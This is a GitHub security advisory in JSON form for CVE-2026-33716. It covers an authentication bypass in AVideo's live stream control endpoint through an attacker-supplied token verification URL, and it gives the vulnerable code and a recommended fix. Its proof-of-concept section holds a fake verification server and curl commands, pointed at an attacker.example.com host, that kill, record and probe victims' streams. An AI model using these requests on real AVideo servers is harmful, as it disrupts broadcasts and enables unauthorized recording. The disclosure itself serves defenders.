CVE-2026-33716: Wwbn/avideo AVideo Allows Unauthenticated Live Stream Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9hv9-gvwm-95f2",
  "modified" : "2026-03-25T21:28:21Z",
  "published" : "2026-03-25T21:28:21Z",
  "aliases" : [ "CVE-2026-33716" ],
  "summary" : "AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php",
  "details" : "## Summary\n\nThe standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.\n\n## Details\n\nThe vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:\n\n**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:\n```php\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:\n```php\n$obj->streamerURL = $streamerURL;\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:\n```php\n$verifyTokenURL = \"{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}\";\n// ...\n$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));\n```\n\nThe legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{\"error\": false}`.\n\nAfter authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.\n\nSSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.\n\nNotably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *\"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF.\"* The same fix was not applied to `control.json.php`.\n\n## PoC\n\n**Step 1:** Set up an attacker server that returns `{\"error\": false}` for all requests.\n\n```bash\n# Minimal Python server on attacker machine (attacker.example.com:8888)\npython3 -c '\nimport http.server, json\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"error\": False}).encode())\n    def log_message(self, *a): pass\nhttp.server.HTTPServer((\"0.0.0.0\", 8888), H).serve_forever()\n'\n```\n\n**Step 2:** Drop a victim's live stream (kill their broadcast):\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\nExpected response (authentication bypassed, command executed):\n```json\n{\"error\":false,\"msg\":\"\",\"streamerURL\":\"http://attacker.example.com:8888/\",\"token\":\"anything\",\"command\":\"drop_publisher\",\"app\":\"live\",\"name\":\"VICTIM_STREAM_KEY\",\"response\":\"\",\"requestedURL\":\"http://localhost:8080/control/drop/publisher?app=live&name=VICTIM_STREAM_KEY\"}\n```\n\n**Step 3:** Start unauthorized recording of a victim's stream:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\n**Step 4:** Probe whether a stream name is active:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=is_recording&name=GUESS_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\n## Impact\n\n- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.\n- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.\n- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.\n- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.\n- **No authentication required:** The entire attack is performed without any credentials.\n\n## Recommended Fix\n\nRemove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:\n\n```php\n// BEFORE (vulnerable):\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n\n// AFTER (fixed):\n// SECURITY: User-supplied streamerURL is intentionally NOT accepted.\n// Allowing it would enable authentication bypass and SSRF via file_get_contents\n// on an attacker-controlled host. streamerURL MUST come from the configuration\n// file or be hard-coded in this file above.\nif (empty($streamerURL)) {\n    error_log(\"control.json.php: streamerURL is not configured\");\n    die(json_encode(['error' => true, 'msg' => 'Server not configured']));\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-9hv9-gvwm-95f2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33716"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/388fcd57dbd16f6cb3ebcdf1d08cf2b929941128"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T21:28:21Z",
    "nvd_published_at" : "2026-03-23T19:16:42Z"
  }
}